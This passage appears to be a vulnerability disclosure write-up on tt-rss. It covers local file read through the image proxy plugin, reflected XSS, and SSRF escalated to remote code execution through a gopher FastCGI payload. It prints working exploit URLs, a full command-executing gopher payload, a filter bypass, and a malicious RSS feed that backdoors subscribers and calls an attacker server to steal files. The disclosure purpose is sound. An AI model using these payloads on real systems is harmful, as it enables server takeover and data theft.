$data = fetch_file_contents(["url" => $url, "max_size" => MAX_CACHE_FILE_SIZE]);

Function fetch_file_contents is not a native PHP function but rather a custom function written by tt-rss developers. If libcurl is installed, it uses it to fetch content from the requested URL (if libcurl is not installed, it uses file_get_contents). Plenty of protocols are supported by libcurl, including file://, again we noticed no filtering or enforcing that URL needs to be HTTP URL. JThus we figured reading local files must be possible.

First attempt failed:
/public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=file:///etc/passwd

It failed because the file will be stored in cache only if libcurl gets HTTP response code 200; alternatively, it shows an error image.

However, file contents can still be seen. For some reason, the plugin also has an alternative way of showing errors that can be used to get file contents. All that needs to be done to trigger it is add the text parameter.

/public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=file:///etc/passwd&text=1

As with SSRF, an attacker can pair this vulnerability with reflected XSS and extract sensitive files' contents.

This vulnerability has been asigned CVE-2020-25787 by the MITRE corporation.

Another XSS

For completion's sake, let's mention that url parameter is also vulnerable to reflected XSS when used in conjunction with the text parameter.

/public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=<script>alert(1)</script>&text=1

To keep track of this vulnerability, CVE-2020-25788 was assigned.

Escalating to remote code execution

Our goal from the start was to discover a RCE vulnerability. Classic LFI to RCE escalation was not applicable, as with that vulnerability, we could only read PHP code, not execute it.

After we analyzed other parts of an application and failing to find RCE (other than one in outdated PHP gettext library which would require the attacker to modify translation files), we returned to af_proxy_http plugin.

We planned to see if it is realistic to escalate SSRF to RCE through something commonly installed along the tt-rss.

We came across gopherus tool which describes itself as tool that generates gopher link for exploiting SSRF and gaining RCE in various servers. libcurl supports plenty of protocols; Gopher is particularly useful for an attacker cause it can be used to craft custom TCP packets.

By examining docker files (docker is the recommended way of installing tt-rss at the time of writing), we concluded PHP-FPM running on port 9000 is the best attack vector. We ran gopherus to generate payload (gopher URL), it is relatively easy to run it. All attacker needs to know is the location of any PHP file on a remote system (on non-dockerized installation we were testing on we chose /srv/http/tt-rss/config.php). First attempt failed. After some troubleshooting we realized payload needs to be double url encoded (without double encoding, raw null bytes were passed to curl_exec). Following that, we ran it...and it failed again, this time without clear reason.

We ssh'd to the box tt-rss was running on and tried to make the request manually (this time URL is not double-encoded cause it's not processed twice).

curl gopher://localhost:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%08%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclien%20%0%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH92%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1BSCRIPT_FILENAME/srv/http/tt-rss/public.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00%5C%04%00%3C%3Fphp%20system%28%27ls%20%3E%20/srv/http/tt-rss/cache/images/a.txt%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

Result was curl: (3) URL using bad/illegal format or missing URL.

This commit reveals the problem. tt-rss was self-hosted on an Arch box with most recent packages. Starting with cURL version 7.71.1, it refuses gopher URL's which contain null bytes. We can tell this is not due to security concerns but rather due to the gopher URL standard format.

This was disappointing as we could not craft a valid FastCGI packet without null bytes, and no other protocols that libcurl supported were as useful (all would include something that made FastCGI packet invalid). However, then we wondered how many installations run this version of cURL.

It was impossible to confirm that (legally) for manually installed instances, but it was trivial to check what version docker installation is using. In app/Dockerfile, there is a line FROM alpine:3.9. A little bit of research showed this distribution uses cURL version 7.64.0! Again, it should be noted that this is not an outdated cURL issue, it's a SSRF issue.

We installed the dockerized version and tweaked gopherus script a bit. By default gopherus tool allowed the attacker to create gopher URLs, which when processed would execute a shell command. We edited it so it creates a backdoor file with the code we want instead.

Where backdoor_path and backdoor_code were configurable variables. Running the script produced following URL:

We passed it in the url parameter and it worked! File backdoor.php gets written on the server! With this file in place, an attacker can run arbitrary commands on the server.

This means that backdooring a tt-rss installation is as easy as getting the user to click a link (or force the user's browser to make a GET request with image tag). However, this allows only for a targeted attack, can it be mass-deployed?

Mass-deploying the exploit

We planned to research whether an attacker can infect plenty of tt-rss servers without targetting each user individually. For this attack scenario, let us assume the attacker either owns or has hacked a website with a popular RSS feed.

Some HTML elements are allowed in feed, including link and image elements. The idea was to insert img element that will force the user's browser to make a malicious GET request that will install backdoor.php. So we hosted a feed with <img src="relative_link"> on

https://subdomain.digeex.de

To our disappointment, it got rewritten to <img src="https://subdomain.digeex.de/relative_link">.

Feed parser calls rewrite_relative_url function, which contains the following code snippet:

	if (strpos($rel_url, "://") !== false) {
		return $rel_url;
	} 

It is clear from this that relative URLs aren't thought of as a security concern, so it is trivial to bypass it by adding &bypass_filter=:// at the end of the URL. That means anyone subscribed can be backdoored through an img tag that utilizes previously generated exploit url, like this:

This would infect a good number of installations (all docker and any manually installed that run PHP-FPM on port 9000 and have cURL < 7.71.1), but the attacker might want to ensure to get sensitive info even if it fails.

This can be achieved by using an image tag to cache XSS payload and then linking it to the article title. After the user clicks a malicious link, XSS can fetch and send the contents of sensitive files to the attacker (using LFI vulnerability).

XML source of the malicious feed looks like this:

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">

<channel>
  <title>Exploit demo - xss2lfi</title>
  <link></link>
  <description>You are getting infected :(</description>
  <item>
    <title>This is malicious link</title>
    <link><![CDATA[public.php?op=cached_url&file=images/271be703630c0f8fda3e173ffbf4d2a097b73adb&bypass_filter=://]]></link>
    <description>
    <![CDATA[
        Dummy text
        <img src ="public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=http://attacker-server/xss2lfi.html">

    ]]>
</description>
  </item>
</channel>
</rss>

Conclusion

The default docker installation of tt-rss has a vulnerability that allows for remote code execution. It can be mass-exploited through a popular subscription feed.

Manually installed instances are also vulnerable if PHP-FPM is running on port 9000 (instead of Unix socket), and cURL version is below 7.71.1. Remote code execution might be possible even if those conditions are not satisfied, but we have not researched how.

Even if remote code execution cannot be achieved, attackers can get contents of internal files and portscan internal services if the user clicks the article title. All instances are vulnerable to this, docker or otherwise.

Timeline

• 10 August - 11 September: Testing and reporting phase

• 11 September - 14 September: Contacting developer (first e-mail got lost)

• 14 September - 17 September: Developer fixed all the issues

• 18 September: CVE IDs requested

• 19 September: CVE-2020-25787, CVE-2020-25788, CVE-2020-25789 assigned to our findings

• 21 September: Our findings are made public